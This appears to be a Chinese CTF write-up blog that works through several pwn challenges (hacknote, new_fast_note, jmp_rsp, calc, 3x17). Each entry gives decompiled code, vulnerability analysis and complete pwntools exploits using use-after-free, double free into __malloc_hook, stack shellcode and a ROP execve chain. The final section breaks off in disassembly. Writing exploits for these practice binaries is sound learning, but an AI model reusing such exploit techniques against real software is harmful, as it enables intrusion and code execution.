一些题目记录

HITCON-training lab 10 hacknote

题目地址: HITCON-Training/LAB/lab10 at master · scwuaptx/HITCON-Training

由于不知道 libc 的版本,这里选择了2.23,不过高版本做法貌似也没有什么区别就是了

checksec

1
2
3
4
5
6
7
8
[*] '/home/yyyffff/桌面/hacknote1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8047000)
Stripped: No

IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v5; // [esp+Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 4u);
v3 = atoi(buf);
if ( v3 != 2 )
break;
del_note();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
print_note();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add_note();
}
}
}

写的很明白了

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int add_note()
{
int v0; // ebx
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( count <= 5 ) // 最多五个堆块
{
for ( i = 0; i <= 4; ++i )
{
if ( !*(&notelist + i) )//notelist是bss段地址
{
*(&notelist + i) = malloc(8u);//先开辟一个管理堆块的
if ( !*(&notelist + i) )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)*(&notelist + i) = print_note_content;// 存了一个指针,print中会用到
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = (int)*(&notelist + i);
*(_DWORD *)(v0 + 4) = malloc(size);//分配我们要的大小
if ( !*((_DWORD *)*(&notelist + i) + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)*(&notelist + i) + 1), size);
puts("Success !");
++count;//计数+1
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}

具体如下

1754150913483

从左到右分别是 size pre_size chunk_ptr print_note_content

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&notelist + v1) )
{
free(*((void **)*(&notelist + v1) + 1));
free(*(&notelist + v1));
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

释放后没有置 0,存在 UAF

print

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&notelist + v1) )
(*(void (__cdecl **)(_DWORD))*(&notelist + v1))(*(&notelist + v1));//调用指针来pirnt。其实这个指针就是我在add里存的那个
return __readgsdword(0x14u) ^ v3;
}

存在magic,后门函数

1
2
3
4
int magic()
{
return system("cat /home/hacknote/flag");
}

在本地我自己创建了一个 flag 文件用于测试

思路

由于是32位的程序,我堆块的大小和对齐方式和64位有些区别,需要注意一下

由于存在管理堆块的堆,并且 print 中有直接调用指针,而且这个指针还是堆上的,如果我们可以修改这个指针为 magic 函数的地址,那么就可以直接读取到 flag

具体操作如下

  • 首先 add 三个块,此时有三个大小为 8 字节的堆进行管理,接着 delete(0,1)
1
2
3
4
5
add(0x10,b'aa')
add(0x10,b'aa')
add(0x10,b'aa')
delete(0)
delete(1)

现在 fastbins 大小为 0x8 内有 chunk1->chunk0<-0(这几个 chunk 都是用来管理的)

  • 接着分配一个大小为 8 字节的堆块,此时分配两个大小为8字节的堆块,就会把两个管理堆块的堆分配走,由于 fastbins 是从头开始分配,所以我们可以修改的是 chunk0 的那个8字节管理的堆,我们将 print_note_content 指针修改为 magic,然后 view(0) 就可以得到 flag(由于 UAF )
1
2
3
4
5
6
backdoor=0x08048986 
pause()
add(8,p32(backdoor))

view(0)
r.interactive()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context(arch='i386',os='linux',log_level='debug')
r=process('./hacknote1')

def add(size,content):
r.recvuntil("hoice :")
r.sendline("1")
r.recvuntil("e :")
r.sendline(str(size))
r.recvuntil("nt :")
r.sendline(content)

def delete(idx):
r.recvuntil("hoice :")
r.sendline("2")
r.recvuntil("Index :")
r.sendline(str(idx))

def view(idx):
r.recvuntil("hoice :")
r.sendline("3")
r.recvuntil("Index :")
r.sendline(str(idx))

add(0x10,b'aa')
add(0x10,b'aa')
add(0x10,b'aa')
pause()
delete(0)
delete(1)
backdoor=0x08048986
pause()
add(8,p32(backdoor))

view(0)
r.interactive()

[HGAME 2023 week2]new_fast_note

标签

double-free tcache

checksec

全开

glibc-2.31

IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
menu(*(_QWORD *)&argc);
*(_QWORD *)&argc = "%d";
__isoc99_scanf("%d", &v3);
if ( v3 == 4 )
exit(0);
if ( v3 > 4 )
{
LABEL_12:
*(_QWORD *)&argc = "Wrong choice!";
puts("Wrong choice!");
}
else
{
switch ( v3 )
{
case 3:
show_note();
break;
case 1:
add_note("%d", &v3);
break;
case 2:
delete_note("%d", &v3);
break;
default:
goto LABEL_12;
}
}
}
}

菜单题

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 __fastcall add_note(const char *a1)
{
unsigned int v1; // ebx
unsigned int v3; // [rsp+0h] [rbp-20h] BYREF
_DWORD size[7]; // [rsp+4h] [rbp-1Ch] BYREF

*(_QWORD *)&size[1] = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v3);
if ( v3 <= 0x13 ) // 发现其不会检测notes上是否以及存在指针了,所以我们可以重复使用
{
printf("Size: ");
__isoc99_scanf("%u", size);
if ( size[0] <= 0xFFu )
{
v1 = v3;
*((_QWORD *)&notes + v1) = malloc(size[0]);
printf("Content: ");
read(0, *((void **)&notes + v3), size[0]);
}
else
{
puts("Too big.");
}
}
else
{
puts("There are only 20 pages in this notebook.");
}
return __readfsqword(0x28u) ^ *(_QWORD *)&size[1];
}

看起来最多只能分配0x13个堆,但是其并不会检查该notes上是否以及存在堆块了,所以可以无限分配,size 也是随便

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 __fastcall delete_note(const char *a1)
{
unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v2);
if ( v2 <= 0xF )
{
if ( *((_QWORD *)&notes + v2) )
free(*((void **)&notes + v2));
else
puts("Page not found.");
}
else
{
puts("There are only 16 pages in this notebook.");
}
return __readfsqword(0x28u) ^ v3;
}

非常明显的UAF

show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 show_note()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
__isoc99_scanf("%u", &v1);
if ( v1 <= 0xF )
{
if ( *((_QWORD *)&notes + v1) )
puts(*((const char **)&notes + v1));
else
puts("Page not found.");
}
else
{
puts("There are only 16 pages in this notebook.");
}
return __readfsqword(0x28u) ^ v2;
}

输出notes上的指针

利用

有个非常明显的 UAF,libcbase 是肯定得泄露出来的,可以利用 double free 打 __malloc_hook 或者 __free_hook,这里选择用 __malloc_hook 打 one_gadget

  • 首先分配 8 个 unsortedbin 大小内堆块,然后全部 delete 掉,前 7 个进入 tcache,第 8 个进入 unsortedbin ,show(7) 即可泄露 libcbase
  • 再次分配 9 个 fastbins (下标选择 0-8)大小内堆块,然后全释放,然后 fastbins 内部就会变成这样 8->7
  • 再次 delete(7),fastbins 内部变为 7->8->7
  • 然后分配相同大小,把第一个 7 分配走,由于 tcache,剩下的 8->7 就会转移到 tcache 之中,我们在分配的时候往 next 指针里面写入 __malloc_hook,这样 tcache 中就会形成 8->7->malloc_hook,再分配三次即可得到 malloc_hook,直接往里面写入 ogg 即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc-2.31.so')
r=remote("node5.anna.nssctf.cn",24009)
ru=lambda x:r.recvuntil(x)
sl=lambda x:r.sendline(x)
sla=lambda a,b:r.sendlineafter(a,b)

def add(idx,size,content):
ru(">")
sl("1")
ru("Index: ")
sl(str(idx))
sla("Size: ",str(size))
sla("Content: ",content)

def delete(idx):
sla(">","2")
sla("Index: ",str(idx))

def show(idx):
sla(">","3")
sla("Index: ",str(idx))

for i in range(8):
add(i,0x80,b'aa')
add(8,0x80,b'aa') # 8
for i in range(8):
delete(i)
show(7)
libcbase=u64(r.recv(6).ljust(8,b'\x00'))-96-0x1ebb80-0x1000
system_addr=libcbase+libc.sym['system']
malloc_hook=libcbase+libc.sym['__malloc_hook']
print("[+] system_addr: ",hex(system_addr))
for i in range(9):
add(i,0x20,b'aa') # 0-8
for i in range(9):
delete(i) # fastbins 8->7
delete(7) # 7->8->7
for i in range(7):
add(i,0x20,b'aa') # 0-6
ogg=[0xe3afe,0xe3b01,0xe3b04]
add(0,0x20,p64(malloc_hook)) # 8->7 0=7
pause()
add(1,0x20,b'aa')
add(2,0x20,b'aa')
add(3,0x20,p64(libcbase+ogg[1]))
r.interactive()

总结

学到了一种新方法,因为 2.31 的 tcache 中加入了 key 来检测 double free,为了绕过其,我们就可以利用 fastbins 来实现

首先利用一些漏洞在 fastbins 内形成比如 chunk0->chunk1->chunk0 的结构,然后分配 chunk0,chunk1->chunk0 就会进入 tcache 之中,然后我们就可以随便写 chunk0 的 next,而且还不用绕过 size 域的检查

[广东省大学生攻防大赛 2022]jmp_rsp

标签

shellcode 栈溢出

checksec

只开了canary

静态链接

IDA

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v3; // cl
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

printf((unsigned int)"this is a classic pwn", (_DWORD)argv, (_DWORD)envp, v3);
read(0, buf, 0x100uLL);
return 0;
}

可以看到虽然说有 canary 保护但是程序中并没有真正的启用,所以我们不用管 canary

非常明显的栈溢出

利用

题目给出了很明显的提示,jmp_rsp,可以利用 shellcode,将 getshell 的 shellcode 写在返回地址之后,将返回地址写完 jmp_rsp 即可

原理就在于执行 leave 时会把 rsp 的值改为 rbp,并且 pop rbp,此时 rsp 指向返回地址,接着 ret,也就是 pop rip,此时 rsp 指向我们的 shellcode,由于返回地址是 jmp_rsp,所以就可以执行我们的 shellcode 了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level='debug'
context.arch='amd64'
r=remote("node4.anna.nssctf.cn",28053)
jmp_rsp=0x46d01d
shellcode='''
mov rax,0x68732f6e69622f
push rax
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,0x3b
syscall
'''
shellcode=asm(shellcode)
payload=b'A'*(0x80+8)+p64(jmp_rsp)+shellcode
r.send(payload)
r.interactive()

pwnable.tw hacknote

checksec

1
2
3
4
5
6
7
yyyffff@yyyffff-virtual-machine:~/Desktop/all/hacknote$ checksec hn
[*] '/home/yyyffff/Desktop/all/hacknote/hn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8046000)

IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void __cdecl __noreturn main()
{
int v0; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 4u);
v0 = atoi(buf);
if ( v0 != 2 )
break;
delete();
}
if ( v0 > 2 )
{
if ( v0 == 3 )
{
show();
}
else
{
if ( v0 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v0 != 1 )
goto LABEL_13;
add();
}
}
}

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int sub_8048646()
{
int v0; // ebx
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( dword_804A04C <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !*(&ptr + i) )
{
*(&ptr + i) = malloc(8u);
if ( !*(&ptr + i) )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)*(&ptr + i) = print; // 记录print的指针,记录在上面分配的8bytes块上
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = (int)*(&ptr + i);
*(_DWORD *)(v0 + 4) = malloc(size);
if ( !*((_DWORD *)*(&ptr + i) + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)*(&ptr + i) + 1), size);
puts("Success !");
++dword_804A04C; // 计数的
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}

分配情况如下

img

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int sub_80487D4()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + v1) )
{
free(*((void **)*(&ptr + v1) + 1));
free(*(&ptr + v1)); // 先释放内容,再释放管理
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

UAF

show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int sub_80488A5()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + v1) )
(*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1));
return __readgsdword(0x14u) ^ v3;
}

通过记录的 print 指针来输出

分析

UAF,libc 肯定要泄露,因为我们 show 时执行的是 add 里记录的 print 指针,如果我们可以控制该指针,就可以控制 eip

  • 首先分配一个 unsortedbin 范围内的堆,释放掉再分配回来,泄露其内容,也就是 unsortedbin 链表头地址,从而泄露 libc

  • 分配一个堆,然后释放掉第一步的堆和这个,记该堆为 B 块,第一步为堆 A,那么其对应的 8 大小的块在fastbins 就会形成 B->A

  • 分配大小为 8 的块,就会将管理 A 块的那个 8bytes 的堆给我们当作内容可以写入,我们往其中写入 p32(system_addr)+b’;sh’ 即可得到 flag,至于为什么我也不清楚,查的资料说是第一次 system 函数地址是其本身地址,这样肯定会报错,但是后面我用 ;sh 隔开,就会执行 system(“sh”),并且忽略第一次报错,就可以得到 shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.log_level='debug'
r=process('./hn')
elf=ELF('./hn')
libc=ELF('./libc_32.so.6')
sla = lambda a,b : r.sendlineafter(a,b)
sa = lambda a,b : r.sendafter(a,b)
ru = lambda a : r.recvuntil(a)
se=lambda a : r.send(a)
def add(size,content):
sla("Your choice :","1")
sla("Note size :",str(size))
sa("Content :",content)

def delete(idx):
sla("Your choice :","2")
sla("Index :",str(idx))

def show(idx):
sla("Your choice :","3")
sla("Index :",str(idx))

add(0x60,b'to leak') # 0
add(0x10,b'top') # 1
delete(0)
add(0x60,b'aaab') # 2
show(0)
r.recvuntil("aaab")
libcbase=u32(r.recv(4))-0x7b0-0x1b0000
system_addr=libcbase+libc.sym['system']
add(20,b'/bin/sh\x00') # 3
delete(0)
delete(3) # fast 3->0
add(8,p32(system_addr)+b';sh')
show(0)
r.interactive()


pwnable.tw calc

基本信息

1
2
3
4
5
6
7
8
yyyffff@yyyffff-virtual-machine:/mnt/hgfs/VMware-share/pwnable/calc$ checksec calc
[*] '/mnt/hgfs/VMware-share/pwnable/calc/calc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
1
2
yyyffff@yyyffff-virtual-machine:/mnt/hgfs/VMware-share/pwnable/calc$ file calc
calc: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not stripped

32 位静态链接,有 canary 和 NX

IDA

看题目大概知道是类似计算器的题目

main

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
ssignal(14, timeout);
alarm(60);
puts("=== Welcome to SECPROG calculator ===");
fflush(stdout);
calc();
return puts("Merry Christmas!");
}

calc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned int calc()
{
int v1[101]; // [esp+18h] [ebp-5A0h] BYREF
char s[1024]; // [esp+1ACh] [ebp-40Ch] BYREF
unsigned int v3; // [esp+5ACh] [ebp-Ch]

v3 = __readgsdword(0x14u);
while ( 1 )
{
bzero(s, 0x400u);
if ( !get_expr((int)s, 1024) )
break;
init_pool(v1);
if ( parse_expr((int)s, v1) )
{
printf("%d\n", v1[v1[0]]);
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v3;
}

首先输入:get_expr,然后根据输入来进行计算 parse_expr,s 存储我们的输入

这里输出 v1[v1[0]],如果我们可以控制 v1[0],那么就可以读取任意地址信息

get_expr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl get_expr(int a1, int max)
{
int v2; // eax
char v4; // [esp+1Bh] [ebp-Dh] BYREF
int v5; // [esp+1Ch] [ebp-Ch]

v5 = 0;
while ( v5 < max && read(0, &v4, 1) != -1 && v4 != 10 )
{
if ( v4 == '+' || v4 == '-' || v4 == '*' || v4 == '/' || v4 == '%' || v4 > '/' && v4 <= '9' )
{
v2 = v5++;
*(_BYTE *)(a1 + v2) = v4; // 将每一位数字读取进去
}
}
*(_BYTE *)(v5 + a1) = 0;
return v5;
}

parse_expr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
int __cdecl parse_expr(int input, _DWORD *stack)
{
int v3; // eax
int v4; // [esp+20h] [ebp-88h]
int i; // [esp+24h] [ebp-84h]
int v6; // [esp+28h] [ebp-80h]
int len; // [esp+2Ch] [ebp-7Ch]
char *s1; // [esp+30h] [ebp-78h]
int op1; // [esp+34h] [ebp-74h]
char fuhao[100]; // [esp+38h] [ebp-70h] BYREF
unsigned int v11; // [esp+9Ch] [ebp-Ch]

v11 = __readgsdword(0x14u);
v4 = input;
v6 = 0;
bzero(fuhao, 0x64u);
for ( i = 0; ; ++i )
{
if ( *(char *)(i + input) - (unsigned int)'0' > 9 )// 判断是否为运算符,是则进入
{
len = i + input - v4; // 判断子串长度
s1 = (char *)malloc(len + 1);
memcpy(s1, v4, len);
s1[len] = 0;
if ( !strcmp(s1, "0") ) // 不允许0出现,前项后项都不允许
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
op1 = atoi(s1); // 转换为整数
if ( op1 > 0 ) // 只允许>0的进入
{
v3 = (*stack)++; // 定义stack[0]
stack[v3 + 1] = op1; // 压入自定义栈中,存放操作数
}
if ( *(_BYTE *)(i + input) && (unsigned int)(*(char *)(i + 1 + input) - 48) > 9 )// 防止出现两个连续操作符
{
puts("expression error!");
fflush(stdout);
return 0;
}
v4 = i + 1 + input; // 指向操作符后的数字
if ( fuhao[v6] ) // 存放操作符
{
switch ( *(_BYTE *)(i + input) ) // 判断操作符类型
{
case '%':
case '*':
case '/':
if ( fuhao[v6] != '+' && fuhao[v6] != '-' )
goto LABEL_14;
fuhao[++v6] = *(_BYTE *)(i + input);
break;
case '+':
case '-':
LABEL_14:
eval(stack, fuhao[v6]); // 计算
fuhao[v6] = *(_BYTE *)(i + input);
break;
default:
eval(stack, fuhao[v6--]);
break;
}
}
else
{
fuhao[v6] = *(_BYTE *)(i + input); // 操作符进栈
}
if ( !*(_BYTE *)(i + input) )
break;
}
}
while ( v6 >= 0 )
eval(stack, fuhao[v6--]);
return 1;
}

eval

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
_DWORD *__cdecl eval(_DWORD *stack, char fuhao)
{
_DWORD *result; // eax

if ( fuhao == '+' )
{
stack[*stack - 1] += stack[*stack]; // *a1就是a1[0],是第二个操作数的索引,即a1[a1[0]-1]=a1[a1[0]-1]+a1[a1[0]]
}
else if ( fuhao > '+' )
{
if ( fuhao == '-' )
{
stack[*stack - 1] -= stack[*stack];
}
else if ( fuhao == '/' )
{
stack[*stack - 1] /= (int)stack[*stack];
}
}
else if ( fuhao == '*' )
{
stack[*stack - 1] *= stack[*stack];
}
result = stack;
--*stack;
return result;
}

分析

我们的最终目的是要控制 v1[0] 来造成任意地址的读写

parse_expr 中没有关于操作数个数的检查,那么当我们输入 +x 的时候,就会使

1
2
3
4
5
if ( op1 > 0 )                            // 只允许>0的进入
{
v3 = (*stack)++; // 定义stack[0]
stack[v3 + 1] = op1; // 压入自定义栈中,存放操作数
}

中 stack[0]=1 ,然后进入 eval 加法分支

1
2
3
4
if ( fuhao == '+' )
{
stack[*stack - 1] += stack[*stack]; // *a1就是a1[0],是第二个操作数的索引,即a1[a1[0]-1]=a1[a1[0]-1]+a1[a1[0]]
}

此时 a1[0] = 1 那么此时执行的就是 stack[0]=stack[0]+stack[1],stack[1] 是 +x 中的 x ,那么我们就可以使 stack[0]=x ,就可以控制上文中的 v1[0] 从而泄露地址

同时也可以做到覆盖地址,就是往地址上进行加减运算,首先泄露地址上信息,然后计算我们目标与该地址的偏移,然后加减偏移即可。具体就是 +x+y,第一次 +x 赋值 stack[0]=x 第二次 +y 在偏移为 x 处加减 y

总结

  • 泄露偏移为 x 处地址
    • +x
  • 往偏移为 x 处加减 y
    • +x+y

我们还需要一个地址写入 /bin/sh,这里可以用 main 函数的 exp 来写

具体写入

偏移 写入
parse_expr_ebp 360
parse_expr ret 361 pop eax
main_ebp-0x18 362 0xb
-0x14 363 pop edcbx
-0x10 364 0
-0xc 365 0
-0x8 366 ebp
-0x4 367 int 0x80
main_ebp 368 binsh

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
r=remote("chall.pwnable.tw",10100)
context(arch='i386',log_level='debug',os='linux')
pop_eax=0x0805c34b
int_0x80=0x08049a21
pop_edx=0x080701aa
pop_ecbx_ret=0x080701d1
pop_edx_ecx_ebx = 0x080701d0
sla = lambda a,b : r.sendlineafter(a,b)
sl = lambda a : r.sendline(a)
sa = lambda a,b : r.sendafter(a,b)
ru = lambda a : r.recvuntil(a)
r.recv()
sl("+360")
ebp=int(r.recv())
print("===get ebp:===",hex(ebp))
rop = [pop_eax, 0x0b, pop_edx_ecx_ebx, 0x0, 0x0, ebp, int_0x80, u32("/bin"), u32("/sh\0")]
offset=361
for i in rop:
payload='+'+str(offset)
r.sendline(payload)
a=int(r.recv())
offset1=i-a
if offset1>0:
payload+='+'+str(offset1)
else:
payload+=str(offset1)
r.sendline(payload)
r.recv()
offset=offset+1

r.interactive()

参考wp

Pwnable.tw calc Writeup - kazma’s blog

pwnable.tw 3x17

基本信息

1
2
3
4
5
6
7
yyyffff@yyyffff-virtual-machine:/mnt/hgfs/VMware-share/pwnable/317$ checksec 317
[*] '/mnt/hgfs/VMware-share/pwnable/317/317'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

静态链接

IDA

题目去符号表了,不好定位到 main 函数,运行程序后发现有字符串 addr: ,在IDA字符串里寻找

从而定位到主函数

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
char *v4; // [rsp+8h] [rbp-28h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]

v6 = __readfsqword(0x28u);
result = (unsigned __int8)++byte_4B9330;
if ( byte_4B9330 == 1 )
{
write(1u, "addr:", 5uLL);
read(0, buf, 0x18uLL);
v4 = (char *)(int)sub_40EE70(buf);
write(1u, "data:", 5uLL);
read(0, v4, 0x18uLL);
result = 0;
}
if ( __readfsqword(0x28u) != v6 )
canary();
return result;
}

经过调试,发现 sub_40EE70 是转换的函数,比如输入1111 ,结果就是 0x457,所以说可以任意写

分析

main函数启动过程

程序启动时其实并不是直接调用 main 函数

实际上的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌────────────────────────────┐
│ Linux 内核 (execve) │
│ ↓ |
│ 加载 ELF 可执行文件 |
│ 建立内存映射/堆栈结构 │
│ 设置 argc, argv, envp │
│ ↓ │
│ 跳转到 ELF 入口点 `_start` │
│ ↓ │
│ 调用 __libc_start_main() │
│ ↓ │
│ 调用程序的初始化函数(.init_array)│
│ ↓ │
│ 调用用户的 main() │
│ ↓ │
│ 调用 exit() / _fini │
└────────────────────────────┘

观察 _start 函数(手动赋予了符号)

fini 和 init 分别是两个 libc函数的地址,但是由于静态链接,我们直接点进去就可以查看其反汇编

顾名思义,一个 init 一个 fini ,分别在 main 函数执行完/前执行,这里可以直接看其源码,执行了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void
__libc_csu_init (int argc, char **argv, char **envp)
{
/* For dynamically linked executables the preinit array is executed by
the dynamic linker (before initializing any shared object). */

#ifndef LIBC_NONSHARED
/* For static executables, preinit happens right before init. */
{
const size_t size = __preinit_array_end - __preinit_array_start;
size_t i;
for (i = 0; i < size; i++)
(*__preinit_array_start [i]) (argc, argv, envp);
}
#endif
void
__libc_csu_fini (void)
{
#ifndef LIBC_NONSHARED
size_t i = __fini_array_end - __fini_array_start;
while (i-- > 0)
(*__fini_array_start [i]) ();

# ifndef NO_INITFINI
_fini ();
# endif
#endif

init 执行__preinit_array_start[0-n],而 fini 则是执行 __fini_array_start [n-0]

得出实际上程序运行

1
__preinit_array_start[0-n]->main-> __fini_array_start [n-0]

我们有任意地址写,__preinit_array_start[0-n] 执行过了,写了也没用,研究 fini_array

调试后发现该程序执行

1
main->fini_array[1]->fini_array[0]

看其反汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.text:0000000000402960 55                            push    rbp
.text:0000000000402961 48 8D 05 98 17 0B 00 lea rax, unk_4B4100
.text:0000000000402968 48 8D 2D 81 17 0B 00 lea rbp, off_4B40F0
.text:000000000040296F 53 push rbx
.text:0000000000402970 48 29 E8 sub rax, rbp
.text:0000000000402973 48 83 EC 08 sub rsp, 8
.text:0000000000402977 48 C1 F8 03 sar rax, 3
.text:000000000040297B 74 19 jz short loc_402996
